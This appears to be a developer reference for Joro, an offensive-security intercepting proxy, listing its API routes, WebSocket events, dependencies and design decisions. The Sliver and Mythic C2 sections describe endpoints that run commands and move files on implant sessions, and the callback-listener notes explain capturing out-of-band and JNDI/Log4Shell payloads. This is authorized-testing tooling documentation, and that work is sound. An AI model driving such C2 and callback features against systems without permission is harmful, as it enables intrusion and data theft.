- `POST /scope/rules/import` — `{config: {scopeEnabled?, scopeRules[]}, mode: replace|merge}` → `{enabled, rules, imported, skipped}`. Bulk import of a scope file. **All-or-nothing**: every rule is validated before anything is applied, so one bad rule 400s the whole request naming its index and the live rule set is untouched. `include` is required per rule (`*bool` server-side) — a plain bool can't tell an omitted field from `false`, which is "exclude". `mode` must be exactly `replace` or `merge` (no defaulting); merge seeds from live rules and dedupes via `containsScopeRule`. `scopeEnabled` is optional and leaves the flag alone when absent. Caps: 1 MB body (`MaxBytesReader`), 1000 rules, `DisallowUnknownFields`. JSON only — no multipart and no gzip path, so nothing from the request ever reaches the filesystem.
- `/replace/rules` — `{target, matchType, match, replace}` (target ∈ request_header, request_body, response_header, response_body, ws_message)
- `/customdata/items` — `{type, name, value}`
**WebSocket capture**
- `GET /ws/messages?host=&offset=&limit=`, `DELETE /ws/messages`
**Settings & system**
- `GET/PUT /settings`, `GET /certs/ca.crt`, `GET /mode` (returns `{mode: proxy|listener}`)
- `POST /system/restart` — graceful re-exec
- `GET /system/healthcheck` — `{proxyPort, uiPort, bindAddr, caPresent, browserAvailable, browserName, requestCount, activeProject}` (first-run wizard poll)
- `GET /browser/status` — `{available, browser}`; `POST /browser/launch` — `{url?}` → `{status, browser, profile}`; `POST /browser/clear-cookies` → `{status, profile}` (clears only the active project's testing-browser profile cookies) (managed testing browser)
**Callbacks (listener mode)**
- `GET/PUT /callbacks/config` — `{domain, responseIp}`
- `GET/POST /callbacks/tokens`, `DELETE /callbacks/tokens/{id}` (cascade)
- `GET/DELETE /callbacks/interactions?token_id=`
**Sliver C2**
- `GET /sliver/status`, `POST /sliver/{connect,disconnect}`, `GET /sliver/sessions`
- `POST /sliver/execute` — `{sessionId, command, args}`
- `POST /sliver/command` — `{input}` → `{output, error, downloadId?, filename?}` (text command dispatcher)
- `GET /sliver/download/{id}` (60s TTL cache), `POST /sliver/upload` (multipart)
**Mythic C2**
- `GET /mythic/status`, `POST /mythic/{connect,disconnect}` — connect `{url, username?, password?, apiToken?}` (JWT via `POST /auth`, or `apitoken` header)
- `GET /mythic/callbacks` — active callbacks (agent instances)
- `POST /mythic/command` — `{input}` → `{output, error, downloadId?, filename?, callbackChanged?, callbackId?, callbackName?, disconnected?}` (REPL: `callbacks`/`use <id>`/`background`/`tasks`/`download`/`help`, else issues the line as a task to the active callback)
- `GET /mythic/download/{id}` (60s TTL cache), `POST /mythic/upload` (multipart)
**Team server** (auth: `Authorization: Bearer <token>` + `X-Joro-Nickname`)
- `GET/POST /team/chat`, `GET /team/users` (returns `[{nickname, status, project}]`), `POST /team/nickname` (`{oldNickname, newNickname}`), `POST /team/presence` (`{status, project}` — sets the caller's presence metadata; `project` is the active project config name)
- `GET /team/notes/hosts`, `GET/POST /team/notes`, `PUT /team/notes/{id}` (edit content), `DELETE /team/notes/{id}` — **PUT/DELETE are author-only** (soft ownership: 403 if `X-Joro-Nickname` ≠ note author). Local notes mirror this with `PUT /notes/{id}` (no ownership check — single operator). An **empty `host`** on create/list is the host-less "General" bucket (both team + local notes); the UI pins a **General** entry atop the Hosts list.
- `GET/POST /team/flagged`, `GET /team/flagged/{id}`, `DELETE /team/flagged/{id}` — shared flagged requests; POST body `{host, method, url, status, reqRaw b64, respRaw b64, note}` stores the artifact **and** posts a referencing chat message; list returns summaries (no raw bytes); get-one returns raw `reqRaw`/`respRaw` base64 + `truncated`
- `GET/POST /team/configs`, `GET /team/configs/{id}`, `DELETE /team/configs/{id}` — published (shared) project configs; POST `{name, project, config}` where `config` is base64(gzipped `projectConfigFile`) built by the proxy's `GET /configs/export` and `project` is the active project config name; list omits the blob; get-one returns it. The teamserver treats `config` as opaque. (Wire/JSON key is `project`; the SQLite column stays `project_id` — no migration.)
- `POST /team/collab`, `GET /team/collab/{id}`, `POST /team/collab/{id}/accept` — collaboration requests; POST `{project, note, config}` where `config` is a JSON 3-field bundle (scope/M&R/customdata); posts a `refType:"collab"` chat chip
- (proxy-local, not team) `GET /api/v1/configs/export` (`{config}`), `POST /api/v1/configs/import` `{name, config}` (writes a **new** local project + loads it, preserving the importer's nickname, 409 on name collision), `POST /api/v1/configs/apply-shared` `{config, mode: replace|merge}` (applies scope/M&R/customdata to live state only)
**Projects** (proxy mode; project = a saved `~/.joro/configs/project/<name>.joro` snapshot; schema **v7** added `automationStates`)
- `GET /api/v1/configs/project` → `{active, configs[], projects[]}` where each `ProjectMeta` is `{name, savedAt, sizeBytes, requestCount, noteCount, findingCount, autoSave, saveHistory, active}` (size/savedAt from `os.Stat`; counts/prefs from the `<name>.meta.json` sidecar, backfilled once from the `.joro` for legacy files)
- `POST /api/v1/configs/project` `{name}` (save/snapshot active), `PUT /api/v1/configs/project/{name}` (load), `DELETE /api/v1/configs/project/{name}` (also removes the sidecar)
- `POST /api/v1/configs/project/new` `{name, empty, action?: save|discard, saveScratchAs?}` — creates a **new** project (409 on collision): `empty:false` snapshots the current session under the name; `empty:true` saves the outgoing session (like a switch) then `resetLiveProjectState()` (fresh baseline: no rules, default noise, empty history/notes/highlights; team settings kept) before saving
- `POST /api/v1/configs/project/switch` `{name, action?: save|discard, saveScratchAs?}` — saves the outgoing project (respecting its `autoSave` pref, or `action`), then loads `name`; returns `applyProjectConfig`'s map + optional `{autoSaved}`
- `POST /api/v1/configs/project/prefs` `{name, autoSave?, saveHistory?}` — updates the sidecar only (no `.joro` decompress)
**Automation** (proxy mode; UI-only, behind `originGuard` like everything else. These are deliberately **not** capabilities — an automation client reaches Joro on the separate MCP port, whose mux has no `/api/v1` routes, so no bearer token has a path to them. All 12 return a JSON 404 when automation is off, rather than being left unregistered, because an unregistered route falls through to the SPA catch-all and returns 200 + HTML.)
- `GET/POST /automation/tokens`, `PUT/DELETE /automation/tokens/{id}`, `POST /automation/tokens/{id}/rotate`, `PUT /automation/tokens/{id}/enabled`, `POST /automation/tokens/{id}/reviewed` — POST-create and rotate are the **only** responses in the whole API that carry a plaintext secret
- `GET /automation/capabilities` → `{capabilities[], fingerprint, classes, profiles[]}` (backs the grant picker; `classes` is the group order, `profiles[]` the curated bundles, each expanded into a concrete grant list on create and never stored on the token). Each capability carries `privileged`; each profile carries `allowsCredentials`
- Token create/update take `allowCredentials` (default **false**), which is a policy field like `requireScope`, not a grant
- `GET /automation/runs` — `?offset=&limit=` → `{runs[], total, offset, limit}`; sandboxed script runs, newest first, **source omitted**. `GET /automation/runs/{id}` returns one run **with its verbatim source**; `DELETE /automation/runs` clears the ring. `POST /automation/runs` — `{scriptId?|source?, input?, trigger?, timeoutMs?}` runs one now; this is the only path that accepts **inline source**, because it is the operator's own same-origin request and an authoring surface that cannot run a draft is not one. `trigger` labels the run (default `"ui"`, and any name in `jsautomation.Triggers` plus `"lens"`); an unknown one is a 400 rather than a silent relabel. `trigger:"lens"` also selects the send-free principal
- `GET/POST /automation/scripts`, `GET/PUT/DELETE /automation/scripts/{id}`, `PUT /automation/scripts/{id}/enabled`, `PUT /automation/scripts/{id}/prefs` — installed automations. POST takes `{manifest, source}` and 409s on an id collision; PUT takes `expectedHash` and **409s without it while the automation is enabled**. `prefs` takes `{limits?, triggersDisabled?, hostAllow?, lensLabel?, lensPart?, lensOrder?}` and writes only the sidecar; an empty `lensLabel`/`lensPart` clears the override back to the manifest's value. The list withholds source, and carries each automation's **effective** lens (author's declaration with the operator's overrides already applied)
- `GET /automation/sdk` — the authoring reference: `jsruntime.Bindings` joined with each capability's registered title, description and `inputSchema`, plus the `joro.storage` verbs and the trigger names
- Every route in this group 404s with **two distinguishable messages** — one naming `--no-automation`, one naming `--automation-scripting` — so an operator is never sent looking at the wrong switch
- `GET/DELETE /automation/audit` — `?tokenId=&capability=&result=&offset=&limit=`; the response embeds a `stats` block (`lastHour`, `deniedLastHour`, `errorsLastHour`, `tokens`, `tokensActive`) so the dashboard widget needs one request, not two. Entries for a mutating capability carry `change`, the handler's own description of what it altered
- `GET/PUT /automation/mcp` — `{enabled, running, port, endpoint, error, tokenCount}`; PUT 409s with the real OS error on a bind failure and does **not** persist `enabled`, so a restart never retries a port the operator never saw fail
**Plugins**
- `GET /plugins`, `POST /plugins/upload` (multipart, 32MB max), `DELETE /plugins/{filename}` (restart required)
- `GET /plugins/{exec-providers,interact-providers,graph}`
- Per-plugin exec: `GET /plugin/{name}/status`, `POST /plugin/{name}/{connect,disconnect,command}`
- Per-plugin interact: `GET/POST /plugin/{name}/interact/instances`, `DELETE /plugin/{name}/interact/instances/{id}`, `PUT .../enabled`, `GET/DELETE /plugin/{name}/interact/interactions?instance_id=`
### WebSocket Events (over `/ws`)
```
request.captured { ...RequestSummary }
intercept.queued { id, kind: request|response, method, url, host, protocol, status, reqRaw, respRaw } (both phases; reqRaw always set)
intercept.resolved { id, action: forward|drop } (shared by both phases)
callback.interaction { ...Interaction }
ws.message { id, connectionId, timestamp, direction, opcode, payloadLength, payload, host, url, isText }
team.chat { id, author, text, refId?, createdAt }
team.note { id, host, content, author, createdAt, updatedAt } (fires on create + edit)
team.note.deleted { id }
team.flagged { id, host, method, url, status, truncated, note, author, createdAt }
team.flagged.deleted { id }
team.config { id, name, projectId, author, createdAt }
team.config.deleted { id }
team.collab.request { id, requestor, projectId, note, status, createdAt }
team.collab.accepted { id, acceptedBy }
team.presence { users: [{ nickname, status, projectId }] } (status online|away|dnd; appear-offline omitted; projectId "" unless shared)
team.nickname_changed { oldNickname, newNickname }
team.relay { state: connecting|connected|disconnected|idle, error, httpStatus } (proxy→teamserver relay health; deduped by state, pushed to each client on connect)
fuzzer.started { campaignId, total }
fuzzer.result { campaignId, result: { index, payload, payloads?, statusCode, size, words, lines, durationMs, url } }
fuzzer.complete { campaignId, status, completed, errors }
detect.finding { finding: FindingSummary, isNew } (sent NON-BLOCKING, so droppable; suppressed during a rescan)
detect.summary { total, bySeverity, byCategory, falsePositives, skippedEncoded, skippedBinary, scanned }
detect.scan.started { jobId, kind, total }
detect.scan.progress { jobId, scanned, total, findingsNew } (throttled ~2/s)
detect.scan.complete { jobId, status, scanned, findingsNew, purged, durationMs }
detect.rules.changed { builtinCount, userCount, activeCount }
detect.findings.cleared { deleted }
manipulate.ws.frame { sessionId, direction: sent|received, opcode, payload (b64), isText, size, ts }
manipulate.ws.closed { sessionId, reason }
mythic.event { eventType: callback-new, callback: { id, display_id, user, host, os, architecture, ip, payload_type } }
automation.mcp.state { enabled, running, port, endpoint, error, tokenCount } (per-invocation events would be a firehose the agent controls, on a channel shared with proxy traffic; Activity and the run list poll instead)
automation.script.state { id, enabled, paused, pausedReason } (only on a state change the operator did NOT make — the runaway breaker pausing an armed automation)
system.update.restarting {}
plugin.{name}.{eventType} { ... }
plugin.{name}.interaction { id, instanceId, hex, protocol, sourceIp, timestamp, queryName?, queryType?, method?, path?, rawRequest? }
```
---
## Go Dependencies
| Module | Purpose |
|--------|---------|
| `github.com/hashicorp/go-uuid` | UUIDs for shell auth keys |
| `github.com/gorilla/websocket` | WebSocket server |
| `github.com/miekg/dns` | DNS server (callback listener) |
| `modernc.org/sqlite` | Pure-Go SQLite (no CGO, cross-compiles) |
| `google.golang.org/grpc` + `google.golang.org/protobuf` | Sliver C2 client (protowire hand-encoded) |
| `github.com/spf13/pflag` | POSIX-compliant CLI flags |
| `github.com/dop251/goja` | JavaScript engine for the automation sandbox (pure Go, no CGO — so it works on Windows and on CGO-less builds, where Go plugins cannot load at all) |
| `github.com/BishopFox/joro/sdk` | Plugin SDK (local module via `replace`) |
| stdlib for everything else | `crypto/x509`, `crypto/ecdsa`, `embed`, `net/http`, `io/fs`, ... |
Tracked via `go.mod` / `go.sum` only — repo does **not** vendor (see "no vendor/" decision below). Add deps with `go get <module>` then `go mod tidy`. Commit `go.mod` + `go.sum` together. Do not hand-edit them.
---
## Key Design Decisions
- **No CLI mode.** All features through web UI. Don't add CLI flags for shell gen/exec.
- **No global variables.** Functions take parameters; globals removed in v0.5.0.
- **No `os.Exit` in packages.** Only `main.go` exits. Internal packages return errors.
- **Intercept uses per-request channels.** `InterceptQueue.Pause()` blocks the proxy goroutine until `Resolve()` or timeout (default 60s). Don't change to polling. The **response phase** (`PauseResponse`) reuses the same channel mechanism, the same map, and the same key — the request id — because the two phases of one transaction are strictly sequential in the same goroutine: `Pause` returns and its deferred delete runs before `RoundTrip`, which precedes the response pause. So the key is never occupied twice and `Resolve(id, …)` needs no phase argument; each pause site reads only the decision field it cares about (`ReqData` / `RespData`). `PendingIntercept.Kind` is the discriminator. The `enabled`/`respEnabled` flags are deliberately **`atomic.Bool` outside `q.mu`**: they're read on every proxied request, and disabling a phase must both store the flag *and* drain that phase's pending pauses — with a mutex-guarded flag that pairing is a deadlock waiting to be written, since `sync.RWMutex` isn't reentrant. Disabling **either** toggle calls `DrainAll(kind)`, which auto-forwards pending pauses: a paused item holds an open client connection, so without the drain those goroutines block to timeout with no queue row left to resolve. `pause` also re-checks the flag *after* registering, closing the window where a toggle flips between the caller's check and registration.
- **Response interception buffers, and is off by default.** `IsResponseEnabled()` gates a pause placed **after** `applyResponseReplace` and **before** the write in all three paths (`mitm.go`, `handler.go`, `h2_mitm.go`) — Match & Replace is an automated transform, intercept is the human's last look, so the operator sees and can override the exact bytes that will hit the browser. It forces the buffered path (the streaming fast paths are bypassed), which is why `readAndCaptureResponse` now returns **nil** for bodies over `maxCaptureBody` with `resp.Body` restored intact via `multiReadCloser` (buffered prefix + unread remainder) — the caller then streams through without pausing. That also **fixes a pre-existing desync bug**: the old code truncated the body but restored `resp.Body` from the truncated bytes while leaving `Content-Length` at the full value, so `resp.Write` advertised N bytes and sent 10 MB, desyncing the keep-alive connection so the *next* request on it was misparsed. It needed response M&R rules *and* a >10 MB body to fire; response interception would have made the buffered path universal. Note that response **M&R rules still apply** to oversized bodies — `applyResponseReplace` does an unbounded `io.ReadAll` *before* the size check, so the rules see the whole body and the (possibly rewritten) bytes now reach the client complete. Only the intercept *pause* is skipped over the cap. That unbounded read means the "10 MB per in-flight response" memory bound holds for the intercept-only path, not when response M&R rules are active (pre-existing). `responseIsPausable` additionally skips `text/event-stream`, `multipart/x-mixed-replace`, `application/grpc*`, any `1xx`, and `204`/`304` (indefinite streams would never finish buffering; bodiless statuses have nothing to edit). `maxPendingResponses` (32) is a runaway backstop for automated traffic, not a workflow limit. Operator edits go through `adoptEditedResponse`: `UpdateContentLength` (shared with Manipulate and the fuzzer — it parses no start line, so it serves responses too) corrects the header **before** `http.ReadResponse`, then the body is read eagerly so any framing the edit implies but doesn't satisfy fails **pre-write** and falls back to the original, rather than dying mid-write and desyncing the keep-alive connection. A **response drop happens after the upstream round trip** — the server already processed the request; it replies `403 response dropped by intercept`. In `h2_mitm.go` both M&R branches only *compute* status/headers/body and there is exactly **one** write site at the bottom of `h2Stream`: a write above the drop branch would forward the real response while `http.Error` logged a superfluous-WriteHeader warning — a drop that silently doesn't drop. Both toggles are **in-memory only** (mirrored into `Settings` for `GET /settings`), so they reset to off on restart and are not in the project file. Plugin `RunResponseHook` still runs *after* the write, so with response intercept on the forwarded bytes and the History copy can differ if a plugin rewrites `rawResp`.
- **CA cert reused across restarts.** `cert.LoadOrCreate()` only regenerates when missing.
- **Managed testing browser (`internal/browser`, proxy mode only).** `POST /browser/launch` starts an installed Chromium-family browser (`browser.Find()` precedence Chrome→Chromium→Edge→Brave; macOS app-bundle paths, Linux `exec.LookPath`+absolute fallbacks, Windows `%ProgramFiles%`/`%LocalAppData%`; no registry lookup, no new deps) with `--proxy-server=<bind>:<proxyPort>`, `--proxy-bypass-list=<-loopback>`, `--user-data-dir=~/.joro/browser-profiles/<activeProjectConfig|default>/`, and `--ignore-certificate-errors-spki-list=<fp>` where `fp = base64(sha256(ca.Cert.RawSubjectPublicKeyInfo))` (`browser.SPKIFingerprint`). The SPKI flag is only honored when `--user-data-dir` is also set. Profile dir is keyed on the active project (`sanitizeProfileKey`) so cookies never cross projects. Named-project launches are `Start()`+`Process.Release()` (detached, persistent); with **no project loaded** the profile is `default` and **ephemeral** — `LaunchOptions.WipeOnExit` makes `Launch` keep the `*Cmd`, `cmd.Wait()` for the browser to exit, then `os.RemoveAll` the profile, guarded by `profileInUse` (skips the wipe if a Chromium singleton lock — `SingletonLock`/`lockfile` — is still present, so a second concurrent launch can't delete a live session). `--test-type` suppresses Chrome's unsupported-command-line-flag infobar (the SPKI switch is on Chrome's bad-flags list); it does not alter cert validation. The presented TLS chain includes the CA cert (`cert.Certificate = append(..., ca.Cert.Raw)` in `leaf.go`) so the CA's SPKI is actually in the chain the browser sees — without it the pin matches nothing and every site errors. The optional landing URL is the last arg (Chrome reads the first non-switch arg as a URL) and persists in localStorage (`joro-testbrowser-url`, `web/src/lib/browserPrefs.ts`), shared by the Settings **Testing Browser** card and the health-check wizard. `POST /browser/clear-cookies` → `browser.ClearCookies` deletes the cookie DBs (`Default/Network/Cookies*`, legacy `Default/Cookies*`) from the active project's profile only — other site data is kept; the browser must be closed for it to take effect (Chrome holds the DB open and rewrites on exit). `browserProfile()` (`handlers_browser.go`) is the shared key/dir helper for launch + clear-cookies. (No CLI way to force Chrome's UI theme dark on macOS, so no color-scheme control.) No OS trust-store install — traffic routes through the proxy so M&R/Custom Data/scope/intercept/SOCKS-upstream apply unchanged; **do not add a browser-level SOCKS/direct-connect flag** (would bypass the proxy). `browser.Find()` returns false on hosts with none installed → `/browser/launch` 400s cleanly. Windows main binary supports this (unlike plugins). `GET /system/healthcheck` (proxy `Store.Count()` + `browser.Find()`) backs the first-run wizard (`web/src/components/HealthCheck.tsx`, embedded in `Setup.tsx`'s local flow and a Settings CA-card modal).
- **`web/dist/` embedded** via `//go:embed dist`. Populated by `npm run build` before Go compiles — `make build` runs the frontend first, and the goreleaser `before:` hook does the same. Bare `go build ./...` requires `npm run build` to have run.
- **Noise filter is separate from scope.** Silently tunnels common browser background traffic (captive portal, telemetry, OCSP, safe browsing) without capture. Enabled by default. Checked **before** scope — noisy hosts never MITM'd regardless of scope rules. Patterns are `filepath.Match` globs against the **whole** host (`*` spans dots, so `*.mozilla.org` matches `a.b.mozilla.org` but not the bare apex); an invalid glob silently never matches. Because a noise match leaves **no trace anywhere** — no History row, no WS event, no store write, so not even a rescan can recover it — default patterns are kept narrow enough that they cannot swallow a target. `proxy.OHTTPNoisePattern` (`mozilla-ohttp*.fastly-edge.com`) covers Firefox's Oblivious HTTP relays: Mozilla hosts them **on Fastly**, so the `*.mozilla.*` / `*.mozgcp.net` entries miss them, and their bodies are HPKE-encrypted to the *gateway* — the relay cannot read them and neither can a MITM, since there is no key to intercept.
- **Non-text response bodies render as a hex dump, and OHTTP additionally decodes its cleartext envelope.** `createResponseBlobUrl` (`web/src/lib/responseRenderer.ts`) is the single dispatch point for the Render tab, shared by History, Manipulate (HTTP), and Fuzz — fix it once, all three follow. Its image/pdf/audio/video/html allowlist previously fell through to an HTML-escaped `<pre>`, so every binary body rendered as latin-1 mojibake. A branch before that fallback converts the body with `latin1ToBytes` and, when the media type is OHTTP **or** `looksBinary` fires, emits an offset/ASCII hex dump (`web/src/lib/bytes.ts`, capped at 64 KB, non-wrapping `<pre>` so columns align) under an optional summary table. Text bodies keep their exact previous path. `web/src/lib/ohttp.ts` parses the RFC 9458 framing only — **no crypto, no new dependency**: the request header (key ID + KEM/KDF/AEAD, named from the RFC 9180 registries) and, for `application/ohttp-keys`, the whole cleartext key config. An OHTTP *response* has no cleartext header (nonce length depends on the request's AEAD), so it reports sizes and names the possibilities rather than inventing a split. Every parser returns `null` on a length or registry mismatch and falls back to the bare hex dump — **never show a decoded field that might be wrong**. Deliberately **no OHTTP edit affordance**: the ciphertext is AEAD-authenticated to a key Joro does not hold, so any edit fails at the gateway; byte-level editing already exists via the Transform scratchpad and the Manipulate→WS hex path. The History **Raw** tab stays byte-exact. (`message/bhttp`, the cleartext inner format, is not decoded — a reasonable follow-up if a gateway-side engagement ever needs it.)
- **Two-level scope filtering.** L1 (CONNECT): host pattern only — out-of-scope hosts tunneled raw without MITM. L2 (request): host + method + path after TLS termination — out-of-scope requests forwarded without capture/intercept. Disabled by default; enabled with no rules blocks everything (safe default). Exclude rules override include rules.
- **`proxy.ValidateScopeRule` is the one validator, applied at the add and import entry points** (`handleAddScopeRule`, `handleImportScopeRules`) and used to skip-and-continue in `handleApplySharedConfig` — the detect-rule precedent in the same handler. It normalizes (trim, uppercase methods, drop blanks) and rejects what `matchRule` would accept and then never match: `filepath.Match` reports `ErrBadPattern` as "no match" (`scope.go` `matchRule`), so a malformed glob used to be stored and silently match nothing, and a **host pattern containing `/`** — a pasted `https://host/path` — is a *valid* glob that can never match, since a hostname holds no `/` and `*` doesn't cross one. Also caps pattern/path length and method count/charset. Deliberately **not** applied in `applyProjectConfig`: a project file is locally produced, and dropping rules on load would silently mutate saved operator state.
- `liveStateSignature` folds scope in as a **content hash** (`scopeSignature`, FNV-64a over `pattern|path|include|methods`) rather than a count, since a replace-mode import that swaps N rules for N different ones would otherwise read as clean and never autosave. `rp`/`cd`/`no` are still counts and retain that latent gap.
- **History/Site Map method + status filters are multi-value, and shared between the two pages.** `web/src/lib/requestFilters.ts` is the single source for `HTTP_METHOD_OPTIONS`, `STATUS_CLASS_OPTIONS`, `buildStatusExpr` (chips + codes box → the `status` query param), `parseStatusExpr`/`matchesStatus` (a **hand-maintained mirror of `parseStatusFilter` in `internal/proxy/statusfilter.go` — keep in sync**, including its lenient skip-bad-tokens semantics: a strict mirror would blank the table mid-typing while the server still returns rows), and `matchesLiveFilter`, the client-side predicate `requestStore.addItem`/`addItems` apply to live `request.captured` rows. `matchesLiveFilter` covers **only** method/status/extension — the WS summary has no raw bytes or scope context, and mixing enforcement levels would make the row count disagree with the server's `total`. UI: `MultiSelectDropdown.tsx` (method popover) + `StatusFilter.tsx` (class chips + debounced codes box) are used by both History's filter bar and `SitemapFilterModal`; the store's `RequestFilter` and `SitemapFilter` both name the fields `methods`/`statusClasses`/`statusCodes` so the controls' patch objects drop straight into either setter. Method/status are deliberately **not** persisted to `localStorage` (unlike `exclude`/`content*`) — they're per-investigation, and History has no "filters active" badge, so a silently restored `4xx` would read as "the proxy stopped capturing". `MultiSelectDropdown`'s panel is `position: fixed` (to escape the filter bar and the site-map modal card) but **not** portaled, so click-outside is one `contains` check and a panel click inside the modal can't reach the backdrop's dismiss handler; it also `stopPropagation()`s ArrowUp/ArrowDown, since History installs a document-level row-navigation listener that only bails on `tagName === 'INPUT'`.
- **Listener mode is mutually exclusive with proxy mode.** `--listener` starts DNS + HTTP callback servers + reduced API/UI. No CA, proxy, or intercept. Data in `~/.joro/callbacks.db`.
- **Token entropy:** 12 hex chars = 48 bits. Correlated by leftmost subdomain label.
- **Callback listeners are capture-only and pure-stdlib.** DNS uses `miekg/dns`; HTTP/SMTP/FTP/LDAP use only `net`/`bufio`/`crypto/tls` (no third-party protocol libs — supply-chain risk). `internal/callback/{ftp,ldap}.go` clone the `SMTPServer` shape (struct + `Start(ctx)` + `acceptLoop` + per-conn goroutine + optional implicit-TLS via shared `*tls.Config`). **FTP** is a fake server that captures USER/PASS + path args and refuses the data channel (`PASV`/`PORT` → `502`); it never opens a second socket or completes a transfer. **LDAP** hand-rolls a minimal BER TLV reader (`readTLV`/`readRawMessage` in `ldap.go` — *not* `encoding/asn1`, which is too DER-strict) to pull the bind DN / search baseObject (where JNDI/Log4Shell payloads land), then replies with canned success `BindResponse`/`SearchResultDone` echoing the messageID. Both `handleConnection`s open with `defer recover()` (untrusted network input) and cap message/line sizes before allocating. New protocols reuse existing `Interaction` columns (`Type`/`SourceIP`/`RawRequest`/`Headers`) — **no schema change**; the frontend `Callbacks.tsx` already renders `ftp`/`ldap` badges + a generic detail view, so **no frontend change**.
- **Correlation helpers (`internal/callback/token.go`).** `Correlate` (DNS subdomain label), `CorrelateSMTP` (email local-part then subdomain), and `CorrelateAny(store, candidates...)` — scans arbitrary captured strings for `[0-9a-fA-F]{16,}` runs and looks up the first 16 chars via `FindTokenByHex`. FTP/LDAP feed their captured fields (+ transcript/hex fallback) into `CorrelateAny`. **Limitation (interactsh parity):** a token present only in the *hostname* (resolved by DNS) and not in the LDAP/FTP payload can't be correlated from the connection itself — but the DNS lookup already records it under the `dns` type.
- **Privileged ports need root/capabilities on Linux.** DNS `:53`, SMTP `:25`, HTTP `:80`, HTTPS `:443`, SMTPS `:465`, FTP `:21`, LDAP `:389`, FTPS `:990`, LDAPS `:636` are all <1024. `setcap cap_net_bind_service=+ep ./joro` or iptables redirect; or use the `--{dns,http,https,smtp,smtps,ftp,ftps,ldap,ldaps}-port` flags to pick unprivileged ports.
- **`internal/event` package** holds shared `WSEvent` to avoid proxy↔callback import cycle.
- **Upstream TLS is maximally permissive (`internal/proxy/tlsconfig.go`).** All connections to target servers use `newUpstreamTLSConfig()`: `InsecureSkipVerify` (we MITM, never validate), `MinVersion: TLS 1.0`, and an explicit `CipherSuites` list of every suite Go implements — `tls.CipherSuites()` **plus** `tls.InsecureCipherSuites()`. The explicit list is required because Go 1.22+ omits the static-RSA key-exchange suites (`TLS_RSA_WITH_AES_*`) from the default ClientHello: without them, legacy servers that only accept those suites fail the handshake with `remote error: tls: handshake failure` (at handshake, *before* cert verification, so `InsecureSkipVerify` doesn't help). Listing every suite matches curl/OpenSSL reach. **Caveat:** Go's `crypto/tls` implements no finite-field DHE (`TLS_DHE_*`) suites, so a DHE-only server stays unreachable. Used by `transport.go`, `client.go`, `sender.go` (H1 + H2), `ws_relay.go`, `ws_manipulate.go` — add new upstream dials through this helper too.
- **Match & Replace operates on raw bytes.** Splits raw dump at `\r\n\r\n`, applies header/body rules independently, then reparses. Cumulative in order. Supports `string` and `regex`. Targets: `request_header`, `request_body`, `response_header`, `response_body`, `ws_message`. **HTTP/1.1 and HTTP/2 have separate apply functions — keep them in sync.** The H1 path uses `applyRequestReplace`/`applyResponseReplace` (`internal/proxy/replace.go`); the H2 MITM path uses `applyRequestReplaceRaw`/`applyResponseReplaceRaw` (`internal/proxy/h2_mitm.go`) because h2 has no textual wire format and works on synthesized raw bytes. The two paths mirror each other and must stay in sync — e.g. `stripBlankHeaderLines` (collapses blank lines from an empty replacement and drops colon-less orphan lines left by a name-only match) wraps header-rule output in *both* `applyRequestReplace` and `applyRequestReplaceRaw`. The H2 *response* path reparses headers via `parseHeaderBlock` (a header map), so blank/orphan lines vanish there without the helper.
- **WebSocket MITM uses custom frame reader/writer** on raw `net.Conn` (not gorilla). Detected via `Upgrade: websocket`. After 101, two goroutines relay bidirectionally. Control frames forwarded immediately; data frames accumulated until FIN, match/replace applied on complete messages, forwarded as single frame. 16MB payload limit.
- **WebSocket Manipulate is a client path, not proxy interception.** `internal/proxy/ws_manipulate.go` dials per-session (TCP or TLS w/ `InsecureSkipVerify`, honoring `TransportConfig.SOCKSDialContext()`), writes raw upgrade verbatim (injects `Sec-WebSocket-Key` only if missing), parses 101 with `http.ReadResponse`, reassembles continuation frames, calls `onFrame` per complete message. `Send` writes a single FIN masked frame. Sessions in-memory only, dropped on restart/error/close. Transcript streamed via `manipulate.ws.frame`/`manipulate.ws.closed` — sent frames also broadcast so multiple UI tabs stay in sync. Match & Replace intentionally NOT applied — what you type is what goes on the wire.
- **Custom Data is purely additive.** Unlike Match & Replace (needs match pattern), Custom Data appends headers, query params, or body data to in-scope requests. Applied after Match & Replace. UI in "Customize Requests" tab.
- **Fuzzer:** producer-consumer goroutine pool, 1-100 threads, rate limiting. Reuses `proxy.TransportConfig.Transport()` (SOCKS, HTTP/2, keep-alive). Results streamed via `fuzzer.result` with RAF batching client-side. Response bodies NOT stored — only metrics (status, size, words, lines, duration). Campaigns in memory (max 50, oldest completed evicted). Single (`FUZZ`) or multi-position (`FUZZ1`, `FUZZ2`, ...). Multi-position attack modes: **Spray** (same payload all positions), **Split** (parallel iteration), **Yolo** (cartesian product, max 10M). Detection regex `FUZZ(\d+)` with fallback to `FUZZ`. Replaced longest-label-first (e.g. `FUZZ10` before `FUZZ1`). Matchers (whitelist) / filters (blacklist) on status, size, words, lines, regex. Content-Length auto-update toggled by `updateContentLength`.
- **Passive detection pulls from the capture store; it is never called from the request path.** `internal/detect` runs the rule library over `proxy.CapturedRequest` records. A 250 ms cursor loop (`Scanner.Run`, started by `StartDetectLoop` from `runProxyMode`, alongside `StartAutoSaveLoop`) advances a `Store.LastSeq()` watermark via `Store.SinceSeq(seq, limit)`. **Not a hook at the six `store.Add` sites** — that would run detection on the goroutine serving the browser. Pulling also makes rescan the same code path with a different starting cursor. A `wake chan struct{}` (cap 1, non-blocking send) is the coalescing doorbell for an immediate pass.
- **`Finding.ID` IS the dedupe identity**: `hex(sha256(ruleID ‖ host ‖ groupDim))[:32]`, containing no request ID, timestamp, or seq. Rescanning reproduces byte-identical IDs, so rescan is idempotent, the frontend live-merge is a plain map upsert, and findings reload with no ID remapping. `groupDim` is **per-rule** via `Rule.GroupBy`: `host` (headers/cookies/fingerprints), `url` (panels, listings, interesting files), `evidence` (secrets/PII — one finding per distinct value, hashing the *raw* match so two secrets sharing a prefix never collide and the key never carries the secret).
- **Every finding funnels through `Store.Upsert`**, which increments `Count` only for an unseen `requestID:part:offset` (`occSeen`, capped at 512) — without that check a rescan doubles every count. Triage (`FalsePositive`, `Notes`, severity override) is preserved across upsert, and **rescan never clears first**.
- **Three check kinds, one output path.** Declarative regex rules (the only kind operators may create), named Go **post-filters** (`Rule.PostFilters` → `postfilters.go`: `luhn`, `iban97`, `ssn`, `denylist`, `notVersionString`, `notHTML`, …), and built-in **analyzers** (`Kind: "analyzer"`) for absence/relational logic a regex cannot express. Analyzers are rules whose behavior is a func looked up by ID, so they inherit toggling, severity override, and grouping. All converge on `Engine.newFinding`, so redaction and truncation cannot be bypassed.
